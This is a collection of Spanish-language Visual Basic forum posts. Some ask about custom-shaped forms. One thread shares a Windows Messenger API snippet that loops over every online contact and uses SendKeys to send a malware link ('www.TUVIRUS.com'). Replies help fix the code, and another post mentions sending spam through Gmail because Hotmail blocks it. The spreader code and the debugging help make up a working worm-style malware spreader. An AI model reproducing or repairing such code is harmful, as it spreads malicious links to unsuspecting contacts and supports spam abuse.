Mensajes

[Xvr El PRograma es interesantePero asta ahora NO logre hacer el form =(siempre que le doy f5 el form siempre aparece cuadradoasta ahora no entiendo porquetalves tenga que ser mas curioso =)]

http://www.elguille.info/colabora/vb/Ciberwalter_FormAsDeForm.htm

hay una api por hay que hace el form transparente pero solo un color de este, con obvias razones con un background de imagen.¡!

Dulces Lunas

Xvr El PRograma es interesante

Pero asta ahora NO logre hacer el form  =(

siempre que le doy f5  el form siempre aparece cuadrado

asta ahora no entiendo porque

talves tenga que ser mas curioso =)

[Buenolo que esta en blanco Seria TransparenteOsea que el Form en si sea barritas =)]

Pero lo que veo ahi es simplemente un background del form. A menos que tu quieras "estilizarlo" lo haría con algoritmos de formas a través de print tal vez. En recursos vb creo que estaba un ejemplo.

Bueno

lo que esta en blanco    Seria Transparente

Osea que el Form en si sea barritas =)

[Hola a todostengo una dudaWeno en si, nose si se podra hacer un form al estilo que uno guste ...un ejemploBueno yo quise acer uno AsiPero Me refiero si abra alguna forma de hacerloTalves algun Code que ME Guie =)Gracias de antemano...]

Hola a todos

tengo una duda

Weno en si, nose si se podra hacer un form al estilo que uno guste ...

un ejemplo



Bueno yo quise acer uno Asi

Pero Me refiero si abra alguna forma de hacerlo

Talves algun Code que ME Guie =)

Gracias de antemano...

[Deve aver algun otro metodo xDen este caso SOlo me keda usar SendKeys =)]

Deve aver algun otro metodo xD

en este caso SOlo me keda usar SendKeys =)

[mmmmde echo ya declaro TodoPero aun ASi NAda... NO se que hice MAl =(]

Creo que todavía funcionaba para esa versión.

Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.

mmmm

de echo ya declaro Todo

Pero aun ASi NAda...    NO se que hice MAl =(

[mMMMMMMMMMYo Uso Messenger 7.5En este Caso Funcionara¿ Mmm........]

mMMMMMMMMM

Yo Uso Messenger 7.5

En este Caso Funcionara¿  Mmm........

estas seteando mal:

Código (vb) [Seleccionar] Expandir

Set MsgrUIA = New MessengerAPI.Messenger

deberia ser:

Código (vb) [Seleccionar] Expandir

Set msn = New MessengerAPI.Messenger

no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...

saludos.

Lo Probe De la Forma que me DIjiste

Pero aun asi me siga dando ese Error

No creo que sea la conexion internet porque igual puedo mandar correos con otros programas.....parece k el problema es el servidor o derepente el hecho k no use las referencias (pero si hice eso es pork use el codigo de Karcrack )

¿hay limitaciones con los servidores ,solo tiene que ser de gmail a gmail?
¿teniendo una cuenta en gmail se puede enviar a correos de hotmail?

Yo Probe COn Hotmail
Pero Me di cuenta que hotmail no acepta Spam xD

Por Eso lo hice con Gmail
lo cual me anda A la perfeccion

[Si lo IncluiPEro aun asi me sige dando ese error]

Haz incluido las api del msn?

Si lo Inclui

PEro aun asi me sige dando ese error

[Hola A todosBueno navegando por el foro encontre este tema(No revivi ese Tema Porq Era antiguo)lo cual vi un code lo cual lo pruebo y siempre me manda error]

Hola A todos

Bueno navegando por el foro encontre este tema

(No revivi ese Tema Porq Era antiguo)

lo cual vi un code lo cual lo pruebo y siempre me manda error

Código [Seleccionar] Expandir

Public WithEvents msn As MessengerAPI.Messenger

Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
   For Each user In MsgrUIA.MyContacts
       If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
       Set venta = MsgrUIA.InstantMessage(user)
             SendKeys "www.TUVIRUS.com" 'url
             SendKeys "{ENTER}"
            SendKeys "%Z"
       End If
     Next
Set MsgrUIA = Nothing
End Sub



lo cual siempre me manda este error

Código [Seleccionar] Expandir

Set MsgrUIA = New MessengerAPI.Messenger


tengo activado en reference

Código [Seleccionar] Expandir

Messenger API Type Library
Messenger Private Type Library
Messenger Type Library

Pero Siempre me manda el mismo error


Bueno Espero Alguna Respuesta

TAlves tenga que arreglar el Code o HAcer otra Cosa =)

PD: Lo POsteo en esta Zona POrque El S.Code es en el lenguaje vB   Salu2[/b]